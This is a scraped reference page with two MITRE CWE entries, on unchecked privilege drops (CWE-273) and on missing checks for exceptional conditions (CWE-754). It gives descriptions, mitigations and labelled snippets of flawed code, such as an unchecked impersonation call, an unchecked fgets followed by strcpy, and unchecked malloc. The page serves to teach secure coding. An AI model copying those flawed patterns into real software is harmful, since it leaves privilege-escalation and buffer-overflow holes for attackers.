Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded.
+ Extended Description
If the drop fails, the product will continue to run with the raised privileges, which might provide additional access to unprivileged users.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.271Privilege Dropping / Lowering Errors
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.754Improper Check for Unusual or Exceptional Conditions
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.252Unchecked Return Value
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.265Privilege Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.754Improper Check for Unusual or Exceptional Conditions
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Background Details
In Windows based environments that have access control, impersonation is used so that access checks can be performed on a client identity by a server with higher privileges. By impersonating the client, the server is restricted to client-level security -- although in different threads it may have much higher privileges.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

This issue is likely to occur in restrictive environments in which the operating system or application provides fine-grained control over privilege management.

+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.
Access Control
Non-Repudiation

Technical Impact: Gain Privileges or Assume Identity; Hide Activities

If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This code attempts to take on the privileges of a user before creating a file, thus avoiding performing the action with unnecessarily high privileges:

(bad code)
Example Language: C++ 
bool DoSecureStuff(HANDLE hPipe) {
bool fDataWritten = false;
ImpersonateNamedPipeClient(hPipe);
HANDLE hFile = CreateFile(...);
/../
RevertToSelf()
/../
}

The call to ImpersonateNamedPipeClient may fail, but the return value is not checked. If the call fails, the code may execute with higher privileges than intended. In this case, an attacker could exploit this behavior to write a file to a location that the attacker does not have access to.

+ Observed Examples
ReferenceDescription
Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phase: Implementation

Check the results of all functions that return a value and verify that the value is expected.

Effectiveness: High

Note: Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Phase: Implementation

In Windows, make sure that the process token has the SeImpersonatePrivilege(Microsoft Server 2003). Code that relies on impersonation for security must ensure that the impersonation succeeded, i.e., that a proper privilege demotion happened.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.748CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1171SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPFailure to check whether privileges were dropped successfully
CERT C Secure CodingPOS37-CExactEnsure that privilege relinquishment is successful
Software Fault PatternsSFP4Unchecked Status Condition
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Description, Modes_of_Introduction, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name, Relationships
2009-05-27CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Background_Details, Other_Notes, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-03-10Failure to Check Whether Privileges Were Dropped Successfully
2009-05-27Improper Check for Successfully Dropped Privileges

CWE-754: Improper Check for Unusual or Exceptional Conditions

Weakness ID: 754
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.
+ Extended Description

The programmer may assume that certain events or conditions will never occur or do not need to be worried about, such as low memory conditions, lack of access to resources due to restrictive permissions, or misbehaving clients or components. However, attackers may intentionally trigger these unusual conditions, thus violating the programmer's assumptions, possibly introducing instability, incorrect behavior, or a vulnerability.

Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.703Improper Check or Handling of Exceptional Conditions
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.252Unchecked Return Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.253Incorrect Check of Function Return Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.273Improper Check for Dropped Privileges
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.354Improper Validation of Integrity Check Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.391Unchecked Error Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.394Unexpected Status Code or Return Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.476NULL Pointer Dereference
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.252Unchecked Return Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.273Improper Check for Dropped Privileges
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.476NULL Pointer Dereference
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1012Cross Cutting
+ Background Details
Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Availability

Technical Impact: DoS: Crash, Exit, or Restart; Unexpected State

The data which were produced as a result of a function call could be in a bad state upon return. If the return value is not checked, then this bad data may be used in operations, possibly leading to a crash or other unintended behaviors.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

Consider the following code segment:

(bad code)
Example Language:
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

Example 2

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().

(bad code)
Example Language:
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

  • Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.
  • It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.
  • The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

Example 3

The following examples read a file into a byte array.

(bad code)
Example Language: C# 
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {
String userName = (String) i.Current();
String pFileName = PFILE_ROOT + "/" + userName;
StreamReader sr = new StreamReader(pFileName);
sr.Read(byteArray,0,1024);//the file is always 1k bytes
sr.Close();
processPFile(userName, byteArray);
}
(bad code)
Example Language: Java 
FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {
String userName = (String) i.next();
String pFileName = PFILE_ROOT + "/" + userName;
FileInputStream fis = new FileInputStream(pFileName);
fis.read(byteArray); // the file is always 1k bytes
fis.close();
processPFile(userName, byteArray);

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

Example 4

The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

(bad code)
Example Language: Java 
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM) == 0) {
...
}
...

The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.

(bad code)
Example Language: Java 
String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 5

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

(bad code)
Example Language: Java 
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 6

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

(bad code)
Example Language: C# 
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

Example 7

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(bad code)
Example Language:
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */

validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this code is also vulnerable to a buffer overflow (CWE-119).

Example 8

In the following C/C++ example the method outputStringToFile opens a file in the local filesystem and outputs a string to the file. The input parameters output and filename contain the string to output to the file and the name of the file respectively.

(bad code)
Example Language: C++ 
int outputStringToFile(char *output, char *filename) {

openFileToWrite(filename);
writeToFile(output);
closeFile(filename);
}

However, this code does not check the return values of the methods openFileToWrite, writeToFile, closeFile to verify that the file was properly opened and closed and that the string was successfully written to the file. The return values for these methods should be checked to determine if the method was successful and allow for detection of errors or unexpected conditions as in the following example.

(good code)
Example Language: C++ 
int outputStringToFile(char *output, char *filename) {
int isOutput = SUCCESS;

int isOpen = openFileToWrite(filename);
if (isOpen == FAIL) {
printf("Unable to open file %s", filename);
isOutput = FAIL;
}
else {
int isWrite = writeToFile(output);
if (isWrite == FAIL) {
printf("Unable to write to file %s", filename);
isOutput = FAIL;
}

int isClose = closeFile(filename);
if (isClose == FAIL)
isOutput = FAIL;
}
return isOutput;
}

Example 9

In the following Java example the method readFromFile uses a FileReader object to read the contents of a file. The FileReader object is created using the File object readFile, the readFile object is initialized using the setInputFile method. The setInputFile method should be called before calling the readFromFile method.

(bad code)
Example Language: Java 
private File readFile = null;

public void setInputFile(String inputFile) {

// create readFile File object from string containing name of file
}

public void readFromFile() {
try {
reader = new FileReader(readFile);

// read input file
} catch (FileNotFoundException ex) {...}
}

However, the readFromFile method does not check to see if the readFile object is null, i.e. has not been initialized, before creating the FileReader object and reading from the input file. The readFromFile method should verify whether the readFile object is null and output an error message and raise an exception if the readFile object is null, as in the following code.

(good code)
Example Language: Java 
private File readFile = null;

public void setInputFile(String inputFile) {

// create readFile File object from string containing name of file
}

public void readFromFile() {
try {
if (readFile == null) {
System.err.println("Input file has not been set, call setInputFile method before calling openInputFile");
throw NullPointerException;
}

reader = new FileReader(readFile);

// read input file
} catch (FileNotFoundException ex) {...}
catch (NullPointerException ex) {...}
}
+ Observed Examples
ReferenceDescription
Chain: function in web caching proxy does not correctly check a return value (CWE-253) leading to a reachable assertion (CWE-617)
Unchecked return value leads to resultant integer overflow and code execution.
Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Choose languages with features such as exception handling that force the programmer to anticipate unusual conditions that may generate exceptions. Custom exceptions may need to be developed to handle unusual business-logic conditions. Be careful not to pass sensitive exceptions back to the user (CWE-209, CWE-248).

Phase: Implementation

Check the results of all functions that return a value and verify that the value is expected.

Effectiveness: High

Note: Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Phase: Implementation

If using exception handling, catch and throw specific exceptions instead of overly-general exceptions (CWE-396, CWE-397). Catch and handle exceptions as locally as possible so that exceptions do not propagate too far up the call stack (CWE-705). Avoid unchecked or uncaught exceptions where feasible (CWE-248).

Effectiveness: High

Note: Using specific exceptions, and ensuring that exceptions are checked, helps programmers to anticipate and appropriately handle many unusual events that could occur.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

Exposing additional information to a potential attacker in the context of an exceptional condition can help the attacker determine what attack vectors are most likely to succeed beyond DoS.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Note: Performing extensive input validation does not help with handling unusual conditions, but it will minimize their occurrences and will make it more difficult for attackers to trigger them.

Phases: Architecture and Design; Implementation

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.

Phase: Architecture and Design

Use system limits, which should help to prevent resource exhaustion. However, the product should still handle low resource conditions since they may still occur.
+ Detection Methods

Automated Static Analysis

Automated static analysis may be useful for detecting unusual conditions involving system resources or common programming idioms, but not for violations of business rules.

Effectiveness: Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8022010 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8672011 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.880CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1141SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1181SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1364ICS Communications: Zone Boundary Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1405Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

Sometimes, when a return value can be used to indicate an error, an unchecked return value is a code-layer instance of a missing application-layer check for exceptional conditions. However, return values are not always needed to communicate exceptional conditions. For example, expiration of resources, values passed by reference, asynchronously modified data, sockets, etc. may indicate exceptional conditions without the use of a return value.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
SEI CERT Perl Coding StandardEXP31-PLCWE More AbstractDo not suppress or ignore exceptions
ISA/IEC 62443Part 4-2Req CR 3.5
ISA/IEC 62443Part 4-2Req CR 3.7
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Program Building Blocks" Page 341. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 1, "Exceptional Conditions," Page 22. 1st Edition. Addison Wesley. 2006.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.
[REF-622] Frank Kim. "Top 25 Series - Rank 15 - Improper Check for Unusual or Exceptional Conditions". SANS Software Security Institute. 2010-03-15. <https://www.sans.org/blog/top-25-series-rank-15-improper-check-for-unusual-or-exceptional-conditions/>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-03-03
